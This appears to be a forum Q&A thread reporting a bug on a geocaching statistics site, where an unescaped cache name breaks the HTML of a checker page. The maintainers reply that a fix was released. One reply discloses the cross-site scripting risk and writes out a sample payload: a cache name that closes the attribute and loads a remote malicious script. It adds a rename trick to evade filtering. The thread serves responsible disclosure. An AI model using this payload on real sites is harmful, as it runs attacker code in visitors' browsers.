Escaping unusual characters in cache names

Question

I tagged a checker for cache GC3C2Z7 - ~!@#$%^&*()-_{}[]:;"',>.?/+ Cache Title Challenge. And these characters managed to break HTML on checker page:

<div class="cacheGroup" data-gccode="GC3C2Z7" data-cacheName="~!@#$%^&*()-_{}[]:;"',>.?/+ Cache Title Challenge">

The "data-cacheName" attribute value is not escaped and the contained " and > lets the text go out of the tag. This probably does not have any security implication, but it is a good practice to sanitize the external inputs.  Also other occurrences of the cache name on the same page behaves a bit wrong sometimes.

Answer 1

A fix has been released now. We haven't tested it yet, please feel free to do that for us. :)

Comments

looks better now. Thanks

Answer 2

I think this actually has security implications.

You could publish a cache called "><script src="http://bla/malicious.js"></script> Challenge and run code on the systems of PGC visitors. Actually, publish it under a different name, then rename.

Comments

Good point. I don't play in these waters for some time. But it does not "answer" the "question".

Answer 3

We will look into this. As mirabilos says, it's actually a potential security issue (depending on what Geocaching.com filters out).